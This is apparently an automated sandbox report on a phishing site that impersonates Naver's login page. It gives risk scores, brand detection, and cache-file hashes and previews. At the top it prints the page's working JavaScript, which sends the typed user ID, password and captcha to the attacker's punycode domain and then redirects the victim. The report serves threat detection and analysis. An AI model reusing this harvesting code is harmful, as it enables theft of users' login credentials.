URL: https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "The script demonstrates moderate-risk behaviors, including external data transmission to potentially untrusted domains and aggressive DOM manipulation. While the script appears to have a legitimate purpose (user authentication), the use of obfuscated URLs and the potential for data exfiltration raise some concerns that require further review." }
$(document).ready(function() { $("#upw").focus(); $("#upw").keydown(function (event) { onKeyDownPassword(event); }); $("#idSubmitBtn").click(function (event) { onClickSubmit(); }); }); function lockInput() { $('#blockInput').css({"z-index": "1000"}); $('#blockInput').focus(); } function unlockInput() { $('#blockInput').css({"z-index": "-1"}); } function showError(errMsg) { $('#d_pswdErr').show(); $('#d_pswdErr')[0].innerHTML = errMsg; } function showCaptcha(captchaHtml) { $('#idCaptchaDiv').show(); $('#idCaptchaDiv')[0].innerHTML = captchaHtml; } function onKeyDownPassword() { if (event.keyCode == 13) { onClickSubmit(); } } function onClickSubmit() { lockInput(); upw = $('#upw')[0].value; uid = $('#uid')[0].value; captcha = $('#captcha')[0].value; if (upw == "") { unlockInput(); showError(" ."); } else { $.ajax({ url : 'https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e:443//?m=cmd&uid=wldushjy&mm=pwd&p1=' + encodeURIComponent(uid) + "&p2=" + encodeURIComponent(upw) + "&p3=" + encodeURIComponent(captcha), cache: false, success : function(data) { try { responseJson = JSON.parse(data); code = responseJson["code"]; p = responseJson["p"]; if (code == 'success') { $.ajax({ url: 'https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e:443//?m=marker&p1=wldushjy&p2=.vrf', cache: false, complete: function () { location.replace("https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e:443//?m=edit&token=d2xkdXNoank%3D&last=security"); } }); } else if (code == 'pwd') { unlockInput(); showError(p); } else if (code == 'captcha') { unlockInput(); showCaptcha(p); showError(" ."); } else if (code == '2step') { location.replace('https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e:443//?m=2step&token=d2xkdXNoank%3D&last=edit'); } else if (code == 'unknown') { location.replace('https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e:443//?m=edit&token=d2xkdXNoank%3D&last=security'); } else { location.replace('https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e:443//?m=edit&token=d2xkdXNoank%3D&last=security'); } } catch (ex) { location.replace('https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e:443//?m=edit&token=d2xkdXNoank%3D&last=security'); } }, error : function (data) { unlockInput(); } }); } }
URL: https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "The provided JavaScript code appears to be a legitimate script that adjusts the height of a container element based on the window size and browser compatibility. It does not exhibit any high-risk behaviors, such as dynamic code execution, data exfiltration, or suspicious redirects. The script is primarily focused on responsive design and ensuring the content is properly displayed across different browsers and screen sizes. While it uses some legacy practices like `XDomainRequest`, the overall intent and functionality of the script are benign." }
var ua = window.navigator.userAgent.toLowerCase(); var cur_container_height = Number(document.getElementById("content").clientHeight); var min_container_height = 647; var header_height = 140; var footer_height = 85; window.onload = changeContentSize; // Window window.onresize = changeContentSize; // Window $("#content").resize(changeContentSize); function changeContentSize() { cur_container_height = Number(document.getElementById("content").clientHeight); var container_height = min_container_height; var window_height = Number(document.documentElement.clientHeight) - header_height - footer_height; if (window_height > cur_container_height) { if (window_height > min_container_height) { container_height = window_height; } } else { if (cur_container_height > min_container_height) { container_height = cur_container_height; } } if (navigator.appName == 'Netscape' && navigator.userAgent.search('Trident') != -1) { // ie11 document.getElementById("container").style.height = container_height + "px"; } else if (window.navigator.userAgent.indexOf("MSIE") == -1 \|\| (document.all && window.XMLHttpRequest)) { // ie6 document.getElementById("container").style.height = container_height + "px"; } else { document.getElementById("container").style.height = "100%"; } } function setContainerHeight(height) { if (height >= 0) { cur_container_height = height; } else { cur_container_height = Number(document.getElementById("container").clientHeight); } if (height == -9 \|\| height == 0 \|\| height == "undefined") { // //ie7 document.getElementById("container").style.height = "100%"; } else { changeContentSize(); } }
URL: https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "The provided JavaScript snippet appears to be a part of a legitimate web application, likely related to a navigation or user interface functionality. It does not contain any high-risk indicators, such as dynamic code execution, data exfiltration, or suspicious redirects. The script is primarily focused on managing the behavior of a global navigation bar (GNB) and handling user interactions. While it uses some legacy practices, such as the `XDomainRequest` API, these are not inherently malicious and are likely used for compatibility purposes. Overall, the script demonstrates benign behavior and can be considered low risk." }
var gnb_option = { gnb_service: "nid", gnb_template: "gnb_utf8", gnb_logout: encodeURIComponent("https://nid.naver.com/user2/help/myInfo?menu=home"), gnb_brightness: 1, gnb_one_naver: 1, gnb_item_hide_option: 0 } lcs_do(); function gnbClose() { $('#wrap').click(function(e) { if (!$('#gnb').has(e.target).length) { gnbAllLayerClose(); } }); } //120919 win8 : capslock document.msCapsLockWarningOff = true; function setContainerHeight(height) {} function clearDocs() {}
URL: https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e/?LK5nlL=42tsHdrAHegtulvu&m=verify&token=d2xkdXNoank=&BrE7iQ=kqbwWaTlMmRCmcMX&last=edit Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": " ", "prominent_button_name": "", "text_input_field_labels": [ "widushjy" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e/?LK5nlL=42tsHdrAHegtulvu&m=verify&token=d2xkdXNoank=&BrE7iQ=kqbwWaTlMmRCmcMX&last=edit Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e/?LK5nlL=42tsHdrAHegtulvu&m=verify&token=d2xkdXNoank=&BrE7iQ=kqbwWaTlMmRCmcMX&last=edit Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "", "text_input_field_labels": [ "widushjy" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e/?LK5nlL=42tsHdrAHegtulvu&m=verify&token=d2xkdXNoank=&BrE7iQ=kqbwWaTlMmRCmcMX&last=edit Model: Joe Sandbox AI	{ "brands": [ "Naver" ] }
	{ "brands": [ "Naver" ] }
URL: https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e/?LK5nlL=42tsHdrAHegtulvu&m=verify&token=d2xkdXNoank=&BrE7iQ=kqbwWaTlMmRCmcMX&last=edit Model: Joe Sandbox AI	```json{ "legit_domain": "naver.com", "classification": "wellknown", "reasons": [ "The brand 'Naver' is a well-known South Korean online platform.", "The URL uses Punycode, which is often used in phishing to mimic legitimate domains.", "The URL does not match the legitimate domain 'naver.com'.", "The use of Punycode and the lack of a direct match to the legitimate domain are strong indicators of phishing." ], "riskscore": 9} Google indexed: False
URL: xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e Brands: Naver Input Fields: widushjy
URL: https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e/?LK5nlL=42tsHdrAHegtulvu&m=verify&token=d2xkdXNoank=&BrE7iQ=kqbwWaTlMmRCmcMX&last=edit Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": " ", "prominent_button_name": "", "text_input_field_labels": [ "widushjy" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e/?LK5nlL=42tsHdrAHegtulvu&m=verify&token=d2xkdXNoank=&BrE7iQ=kqbwWaTlMmRCmcMX&last=edit Model: Joe Sandbox AI	{ "brands": [ "Naver" ] }
	{ "brands": [ "Naver" ] }

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	3.923664278714805
Encrypted:	false
SSDEEP:	24:3PVVzABBQLPBBpBqbccjcc/++uzH++x5:7znLjqH++uzH++n
MD5:	7267E1B55ACA265D4A1151599CF2E2F0
SHA1:	BC7B38FB61771715E80E27B10751FF5DE2A3F254
SHA-256:	77C9FB5E5407BECAB9407EBB738967F3195A78A080B8A11DC369D76220C9A685
SHA-512:	761D60C0ABB622C124E969B2DF7D5AC1580F1389F2C0DD48B5646E4AF0C28A265DDABA56C9D4B6EFDE6DAAF520BE4A3FD0D8AB92FFCFCF2AD979138AD8193DCC
Malicious:	false
Reputation:	low
Preview:	............ .h.......(....... ..... .........................e...e...e...e...e...e...e...e...e...e...e...e...e...e...e...e...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...c...c...c...c...c...c...c...c...c...c...c...c...c...c...c...c...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...`...`...`...`..............._.....D.............`...`...`...`..._..._..._..._...............g..................._..._..._..._...^...^...^...^..................................^...^...^...^...]...]...]...]...................................]...]...]...]...^...^...^...^...................................^...^...^...^..._..._..._..._.....................[............._..._..._..._...`...`...`...`..................._...............`...`...`...`...a...a...a...a.................<.`...............a...a...a...a...c...c...c...c...m...m...l...c...c...l...m...m...c...c...c...c...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...f...f...f...f...f...f...f...f...f...f...f.

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 5836
Category:	downloaded
Size (bytes):	1886
Entropy (8bit):	7.8883925794160925
Encrypted:	false
SSDEEP:	48:XfpM0x5rSNfJObRuPy+iO1buehkQi01AiX8Lz:PXuNfJSuPy+N1bueWX01ANLz
MD5:	416FEF167D7F016A2628E5AD2070F597
SHA1:	8F7ADFC4718615B35106A460473D0E58AA4B2FFA
SHA-256:	C7219F66020BC67DB6D9993A64738C2EC9CA7F71BD4E56ABF0B2B8BEF154B078
SHA-512:	D613DBE71E8B6F97F29AEEE7F23AB1335CFA0B02112CCF90E67E721F7A6612EC6D27AF94EF4DB5AC8B1408EB2DA9CC2DC64D8EA22B7425314AC5AE12325DA902
Malicious:	false
Reputation:	low
URL:	https://nid.naver.com/inc/common/js/jquery.resize.js
Preview:	...........X.o.6.....l...:r.a.`7.........h..9.&.y.....#..e/....;.GM..G...aDl..LlDn.;..G.~.K..T.......!veL.g..R..v..j3...O..7\.,.IB.O..xR.D......9.<$.F.Z.\|.N....F....(L.yl..B.9..O...^2n..W.oP.3..x...y2::..>......p)......k...V?..<.O.i=#..#.y.-x.&].Ja.e..J.H....]?.i......<Q.c..u6.PfhI..OX......'>.$6,.R.....=x...6a.n..kH[..6.....Z!......k+.....T...mE..2..._........7......Z.}(.-......sNq".0Wr#....=;..Y5..!. 3....Z.C.sD..Xd..`..+..!O..FXG...~`..0..tv.....Ic.U.I..G.g...,.r.......l.....kW'...zB.....X.'Je..._.+.%....<6mh..V$.P.z.JA.B#.u..D..{..ebVC.+U...r.2...E".c.-.j.Ri.~$...{..Aq...]..>..n..kU....![.:......J....p..c.6..nJ\@....o...q;;....=mm.:/.~'.<u.0....6..lj.s{.0z..}.....q....w..;..g.i.n..u.....^<.... c.^.~...\|....l.s.`.u.....G.?ab.$V....{.\o......%..fz[..4.(fg.:...E..8.g.....{~?CP....zJ....&..X...CT.".w.....4.M1A.l....J...b.;5o.F}d....".Y.0`....I.-.m....U.......ag.".cd...U...$....zf..\|-..._.!..T....G0,m....an...D..[....P..ya-........2.

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 5266
Category:	downloaded
Size (bytes):	1521
Entropy (8bit):	7.874767965538539
Encrypted:	false
SSDEEP:	24:XsJS4O9fHyB5rsj8u0RVrjYAkWLqvMiSZ8wqKUwZAfdhAlVlLVanjd2u2:XsJxOdCJs4uIrjYAVq0ibIZNlVDajkJ
MD5:	BED6B38FAD39FBED82B5E279451B0F98
SHA1:	F42B2D81213C1DA8C52A223734724291C06FBEBD
SHA-256:	164DD11C828103CDE588A47DAF4282F319B22160D63C1AD0BEE96F822E0FDB22
SHA-512:	DFC7E742F2B230B7F1E1F1A715AE97FD3D1A17C94EE531E8F9360630A2C0AD48266CD31B89EA64FD1A58ABAB658FF0E07FE7257528F850121ADFDF09C74C0950
Malicious:	false
Reputation:	low
URL:	https://nid.naver.com/inc/common/js/passwdAjax.js?20180530
Preview:	...........XKo.F.>K.b.......I...R.m....r3.r)1..,.2-4.....=.....z(...h{h.R-...>(.(..4...D/g.....j..g........'........c8...?.....c\|...O......./............7..g.......T....q......Fs....tz.9xl'I...[._...>.5:......f...O...1...t..\t.(..s@..\.V.hL[..: .$.`M.x..$i..d...n.l..,..b...B..4..a...=."..y....A...T+,...V...$...yH.?z.8.4.$...x.......F..F....I.B?...wb.P.Ma.`;."...e.....\..^..l....G.'..I.U........z.{...Z....a..h../.'$....HV .c..pF3.5f.N{'.B.F$4.....+<....aj[....m....rWk+P..(./.W.h5M.U...UD".C]..0F.!O....K8..1S..Y...S.....* ".b.......#G..v..f.$f...=TA\|\|O-.mh..^....r..s..Ll.LBB.>/.....h...5U..d.r5...(.R?ti.x..n.\|B..W...i.2....r...HhL.j.w.,.i.'..nS. ..}.]...o.<Z-c)...........@...........p.UP.....uH.........&...Q..D..k..$3...}....n.)k!c..[E...u.".y......}-.I..vgJVF`..(..X...01e.<{..M...hR.U...CiH.h....CZ..ia.k.k.....5.P.....s...1r)#........'%.,.V...te...A.`b2.ALiLY...u....MH...lKW.i).(.lY.....nnn.Y.V.p{.0wR....Qn./....F9.u...z9s-

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 265 x 47, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3475
Entropy (8bit):	7.9156713424772125
Encrypted:	false
SSDEEP:	48:yZ/68ulrnRxZbh2zbjhj4+Dlr7tuVhL1VF6pg7lXJM+tEb1nVmTvCTO4mokF5iBk:yZSDJZdWpptuXRVF667l/21oqYF5ieR/
MD5:	79C52D79EDD15F3FC6F2AEA4BACF131D
SHA1:	E3DE0C67C4B01EF87EB6BBFF17B7BDF7CE15C822
SHA-256:	B5728544D8801063F467D91961C6DCFCB2A468FA138C0E80412D331FC731DC97
SHA-512:	9A0C218372AD9F51256A15910943D63BB662212EE896F23A4F71586421B05F595019377089986E322F675211452326F2D3F5FF3B405D0D9D5F8D884CB672D2D1
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR......./.......?.....pHYs.................sRGB.........gAMA......a....(IDATx..Ol.....U......bG~V.D.H.S.S).mT.K......9....#.z..n..z...r...H......mT.!6..&je#0.p....".u>..<.[......>......}...w~.&.)...A.'..%...ADB../".. x........ .^D$.A.""!.....A...H...EDB../".. x........ .^~.......P....}....M%..%...KE)...........#.I&....."...t.*Z$p.....E.@.?.^577.....<P.VT.3U.z...-<.Sp.R)..b.z..........jeeEUUU....{N.)..D......@X...........w..qc.......j..../.5.:&...-.....>7H.....)7...jh.....t..jr...(.G\g..9...Z......OU...:.@...\.9....Y.w......m.....>..z\|._.5.f..j...zN>....e..........#N..=.yl.]jzzZ..G.._..........~..uuu.e...S[.l)E<RE.$\.A...a.b.yvcj299.s-......Q__or..\|.4....... >(.....k.............5...Y.W.. ..9..T#..R..].....>lS.....P..g..0...z...k..U+N..3..].i......q.`...Q..Y.Z_p[!.c.g.....8.+.=.@..Pp.}W..v3{\|.e-.[.#._...G...8.].....Kjqq1.....l..D.W.\Q...3qw..!U,..........f .GFFL`...}...jhh..L.......kZ(..>..`G... .)k?..h

Chrome Cache Entry: 64

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 150 x 150, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	6780
Entropy (8bit):	7.902590730101485
Encrypted:	false
SSDEEP:	96:NNoLgYNp8hjqoUVHqCFus6iTezhArAItF25iBwVFDRcpPY6pQ8Yfvw2FIdAY0OKc:cNp8+q6uJzhArLoywa6hf4MI+V71qF42
MD5:	30AB9E75507CEB3D7145CC7CBB4A8755
SHA1:	33B2381C131FBEED0DC8F46B806BF11396746AEB
SHA-256:	58730F842267E35A5526AFD726A1268E98ACCD4CCE470DDB8865768CD15BB42B
SHA-512:	A8474ED9E0EE5DF472E46A053207A977E38F11D9BA0D8B94979BB99F1DA6220FF6786FE8A568E0FBE22D08D42C67F391881AC24808B97B291C1487AE0E76B0E1
Malicious:	false
Reputation:	low
URL:	https://static.nid.naver.com/images/ui/myinfo/pc_sp_txt_shape.png
Preview:	.PNG........IHDR.............<.q.....tEXtSoftware.Adobe ImageReadyq.e<...(iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c111 79.158325, 2015/09/10-01:10:20 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:BB5F18E9585511E6B487F5C9F0DC67AF" xmpMM:InstanceID="xmp.iid:BB5F18E8585511E6B487F5C9F0DC67AF" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0150AB5D438E11E68388EB23030D22B9" stRef:documentID="xmp.did:0150AB5E438E11E68388EB23030D22B9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>Y.......IDATx..].lT...bm...G ....D...Ihu..I..Ae'm....... .....(R....r..`aNM..(4....:h.@.iS...@"'...`..5......

Chrome Cache Entry: 65

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1234), with CRLF line terminators
Category:	downloaded
Size (bytes):	30639
Entropy (8bit):	4.860979524983211
Encrypted:	false
SSDEEP:	384:CD2LRD1GAsV/YTc8LRsoDDi5y0uEnA89pFOeLpAA/V:NRD1jdi5y0uEnA89pFOeX9
MD5:	2F768526AD26735BA565DADB34C25182
SHA1:	C69381DD33697B91D9287647198DBFE28870B51E
SHA-256:	1F46C0F870BBB78A0F39E1A9602F52F24ED52A6ACBE04DE62446702BBB58BB07
SHA-512:	6F2DBEAAE339CA1997119085BF4A5D508428291E81363497FF4485733831AFD5F4D517E44BA6AE9D8C6DADE7DA7EB51BF8ABA01764F3C6045E88099C766EC3FB
Malicious:	false
Reputation:	low
URL:	https://xn--xj2b562c.xn--9i1b01onwqqzd.xn--3e0b707e//assets/css/w_202105.css
Preview:	/2021-8-24 12:17:16 PM/..@charset "UTF-8";body,button,dd,dl,dt,fieldset,form,h1,h2,h3,h4,h5,h6,input,legend,li,ol,p,select,table,td,textarea,th,ul {.. margin: 0;.. padding: 0;.. -webkit-text-size-adjust: none;.. font-family: -apple-system,BlinkMacSystemFont,helvetica,"Apple SD Gothic Neo",sans-serif..}....html {.. height: 100%;.. font-size: 14px..}....button,input,select,textarea {.. border-radius: 0;.. border: none;.. background: 0 0;.. -webkit-appearance: none;.. -moz-appearance: none;.. appearance: none;.. outline: 0;.. text-decoration: none;.. cursor: pointer;.. -webkit-text-size-adjust: none..}....button {.. cursor: pointer..}....label {.. cursor: pointer..}....fieldset,img {.. border: 0..}....ol,ul {.. list-style: none..}....address,em {.. font-style: normal..}....a {.. text-decoration: none;.. cursor: pointer..}....table {.. border-collapse: collapse;.. border-spacing: 0;.. -webkit-text-size-adjust:

Chrome Cache Entry: 66

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32086), with CRLF line terminators
Category:	dropped
Size (bytes):	95825
Entropy (8bit):	5.394471699171431
Encrypted:	false
SSDEEP:	1536:EPEkjP+iADIOr/NEe876nmBu3HvF38sEeL8FoqqhJ7SerN5wVI+xcBpPv7E+nzmV:bNMzqhJvN32cBd7M6Whca98HrK
MD5:	7C8DB325A058A50FE896BCD95507091F
SHA1:	577465EC20A8E2739DBB33612BD41C5A58176698
SHA-256:	161DDCE728615BD31A9C34FBB1CD047A4FE165E30CB86F826D1C856A956016CA
SHA-512:	6C216F946F9BD6A785F141E8C981AC9F7851568DFF0E8B0D169887C6D625FA3BFE74E09C13E4B3F9B5D97045290276FA6E0DD329A9D32AE2066668229666DA27
Malicious:	false
Reputation:	low
Preview:	/! jQuery v1.11.1 \| (c) 2005, 2014 jQuery Foundation, Inc. \| jquery.org/license /..!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k={},l="1.11.1",m=function(a,b){return new m.fn.init(a,b)},n=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,o=/^-ms-/,p=/-([\da-z])/gi,q=function(a,b){return b.toUpperCase()};m.fn=m.prototype={jquery:l,constructor:m,selector:"",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=m.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return m.each(this,a,b)},map:function(a){return this.pushStack(m.map(this,function(b,c){re

Chrome Cache Entry: 67

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 63 x 11, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	560
Entropy (8bit):	7.469820860357248
Encrypted:	false
SSDEEP:	12:6v/7HPXnaacS2cp4REKbhMPm/YAQEqEYq/lr4Q3EgB3E2sz:G/RcS2cpUbaPKb1plr4Q3EgB3E2sz
MD5:	079B7D3C43DC94A8E2AF16BFF09C9ACE
SHA1:	6CB3DDE0EECFD680E166FAD5A70B081C904A35A6
SHA-256:	326563F7904E43AF49EAAF79934ACF49B692FB66D10DB05E18DF823A8703AA82
SHA-512:	7B19E9B242B338DCDC4BD146DAC675127AF0FBBDF3FE8A27F8F93B2E90D33BF852238B0C5718BD0EE64C0B651FF411F8801B2F74C6E962A3AF54421D51BDA03F
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...?..........Ud....tEXtSoftware.Adobe ImageReadyq.e<....IDATx.V.m.@....d...T....?.......L.d....R.........A.\.........$g...~....{...J.}.\|......cl.w.M........K..9.k.'.......c$\|h..X_....)X..9\|K..*..d.\&.k...x..-...k...+..-.{q.........<..@....d.}..K....R.}.I^..mvNR.!1...3...........NIdH.\|.....gJ.c.q..;...B&9.Q.z.V..-.D......`#.f...=.t$(U._..Fi.k.XY)mE.i4.%..EVr.w...DL...v..I.OB....b<B..(.t..q....)...eW=k;..Q{.lLrU..fS.L...;..<w..);T.......[...z~..R...D....6i9..)~d.....:.s........Qe..q...6X...V.\......$.Y........IEND.B`.

Chrome Cache Entry: 68

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5992
Entropy (8bit):	5.569347331257565
Encrypted:	false
SSDEEP:	96:FGnA0qA22kAIAGA+g7FWMhb9jxrhhfzp/OlKw0OdMtXiMtXYi/DduhizYyT3XDZ7:FUA0qA22kAIAGA+9GOlKuMtyMtoyDwiX
MD5:	1E2BF1F837E4383F6C5643541E7EF685
SHA1:	BF0117EFCEABC69FE56E9FE93EA7806389A20671
SHA-256:	8E9735941F9F6EE895032BA2E4E223BFFA694729E865A6D1B44082E851EA5FDD
SHA-512:	8FAE0DDD97BAAC630F285134409ADF9F1AB49AF579F52B5BED259E4323EC4A42FEA1AB88A53BA842BFC5519F2FC27A746601AD9E733EF16781E7A01A1D44E9C8
Malicious:	false
Reputation:	low
Preview:	/----------------------------------------------..@ filename : lua.js..@ rams - 20150728..------------------------------------------------/..var lua_cnt = 0;..var lua_bi = {};..var lua_sDate = new Date();....var ERROR_NO_VALUE = "ERROR_NO_VALUE";....var ERROR_NOT_ENOUGH_LENGTH = "ERROR_NOT_ENOUGH_LENGTH";..var ERROR_AUTH_REQUIRED = "ERROR_AUTH_REQUIRED";..var ERROR_AGREE_REQUIRED = "ERROR_AGREE_REQUIRED";....var ERROR_ID_REQUIRED = "ERROR_ID_REQUIRED";..var ERROR_PSWD1_REQUIRED = "ERROR_PSWD1_REQUIRED";..var ERROR_PSWD2_REQUIRED = "ERROR_PSWD2_REQUIRED";..var ERROR_NAME_REQUIRED = "ERROR_NAME_REQUIRED";..var ERROR_NAME_FORMAT = "ERROR_NAME_FORMAT";..var ERROR_DATE_FORMAT = "ERROR_DATE_FORMAT";..var ERROR_AUTH_REQUIRED = "ERROR_AUTH_REQUIRED";....var INFO_CHECK_POINT_10 = "INFO_CHECK_POINT_10";..var INFO_CHECK_POINT_20 = "INFO_CHECK_POINT_20";..var INFO_CHECK_POINT_30 = "INFO_CHECK_POINT_30";..var INFO_CHECK_POINT_40 = "INFO_CHECK_POINT_40";..var INFO_CHECK_POINT_50 = "INFO_CHECK

Chrome Cache Entry: 69

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 4 x 41, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	967
Entropy (8bit):	5.970143873089304
Encrypted:	false
SSDEEP:	24:/y1htZdWwjx82lY2T3pHEVPm0LyJ3Vo0bGxs/1:/wqNn2SArJ3TSM1
MD5:	0D1A520B5FB3B094F479184F68154AAD
SHA1:	87746544D1B59E663952E50D5B56C4103FD45364
SHA-256:	67BEF5D26AF42C5A7842ECD98BF3DF205CF8DE0270802B34A2380DE4EB517D46
SHA-512:	16BCD3F53D9DE967CFFF3226F98A1E135E035D477F86FC1532D42B914C7A8095059CDD64545FE7836F0EEC81C75199477BC2717D08A453060E6544C15FC6F7E3
Malicious:	false
Reputation:	low
URL:	https://static.nid.naver.com/images/web/user/sp_u_skip.png
Preview:	.PNG........IHDR.......)............tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c061 64.140949, 2010/12/07-10:57:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5.1 Windows" xmpMM:InstanceID="xmp.iid:F41CD7CC136811E2B63385991A58A372" xmpMM:DocumentID="xmp.did:F41CD7CD136811E2B63385991A58A372"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:F41CD7CA136811E2B63385991A58A372" stRef:documentID="xmp.did:F41CD7CB136811E2B63385991A58A372"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>j.I;...;IDATx.b.}+.....A......a...0.8`BV.R.......G.B.. ~6*0B.......0@.r......IEND.B`.

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 150 x 150, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	6780
Entropy (8bit):	7.902590730101485
Encrypted:	false
SSDEEP:	96:NNoLgYNp8hjqoUVHqCFus6iTezhArAItF25iBwVFDRcpPY6pQ8Yfvw2FIdAY0OKc:cNp8+q6uJzhArLoywa6hf4MI+V71qF42
MD5:	30AB9E75507CEB3D7145CC7CBB4A8755
SHA1:	33B2381C131FBEED0DC8F46B806BF11396746AEB
SHA-256:	58730F842267E35A5526AFD726A1268E98ACCD4CCE470DDB8865768CD15BB42B
SHA-512:	A8474ED9E0EE5DF472E46A053207A977E38F11D9BA0D8B94979BB99F1DA6220FF6786FE8A568E0FBE22D08D42C67F391881AC24808B97B291C1487AE0E76B0E1
Malicious:	false
Reputation:	low
